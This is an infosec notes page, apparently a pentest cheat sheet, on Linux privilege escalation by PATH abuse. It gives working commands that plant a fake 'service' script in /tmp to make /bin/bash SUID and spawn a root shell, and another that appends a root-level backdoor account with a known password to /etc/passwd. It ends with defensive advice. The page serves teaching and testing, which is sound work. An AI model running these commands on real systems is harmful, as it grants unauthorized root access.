> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/linux/path-variable-abuse.md).

# PATH Variable Abuse

**PATH** is an environment variable that determines the directories the shell searches for commands. If a script or binary executed with elevated privileges (e.g., SUID binary or a cron job) calls external commands **without using absolute paths**, an attacker can abuse this by placing a malicious executable earlier in the `PATH`.

***

### Understanding `PATH` Abuse

When a script or binary uses an external command like `service`, `ls`, `cp`, or others **without the full path**, it searches each directory in `$PATH` **order**. If the attacker controls a directory in `$PATH`, they can create a malicious version of that command and get it executed with elevated privileges.

***

### Prerequisites

* A script/binary executed as **root** or with the **SUID** bit set.
* The script calls a command **without a full path** (e.g., `service` instead of `/usr/sbin/service`).
* The attacker can control or prepend a directory to the `PATH`.

***

### Discovery

#### Find SUID binaries (that may be vulnerable):

```bash
find / -perm -u=s -type f 2>/dev/null
```

Example vulnerable script:

```
/usr/local/bin/apache2-restart
```

Check if it references a command without full path:

```bash
strings /usr/local/bin/apache2-restart | grep -i service
```

***

### Exploitation

#### Create a malicious `service` script

```bash
cd /tmp
```

```
echo -e '#!/bin/sh\nchmod +s /bin/bash' > service
```

```
chmod +x service
```

#### Prepend `/tmp` to `PATH`

```bash
export PATH=/tmp:$PATH
```

#### Execute the vulnerable binary

```bash
/usr/local/bin/apache2-restart
```

#### Gain root shell

```bash
bash -p
```

Or overwrite `/etc/passwd` if write access is obtained:

```bash
echo 'root:$1$l0qDlOEx$ixe0O4mtqLnLVaFYKvZBk/:0:0:root:/root:/bin/bash' >> /etc/passwd
su root
# Password: 123
```

***

### Helpful Commands

#### View current `PATH`

```bash
echo $PATH
```

#### Reset `PATH` to Default (for most systems)

```bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

#### Remove a Specific Directory from `PATH` (e.g., `/home/user`)

```bash
export PATH=$(echo $PATH | tr ':' '\n' | grep -v '/home/user' | tr '\n' ':' | sed 's/:$//')
```

***

### Defensive Checks

* Scripts running as root should always use **absolute paths** (`/usr/bin/cp` not just `cp`).
* Avoid using world-writable directories like `/tmp` in privileged scripts.
* Validate and restrict `$PATH` in scripts (especially in cron jobs).
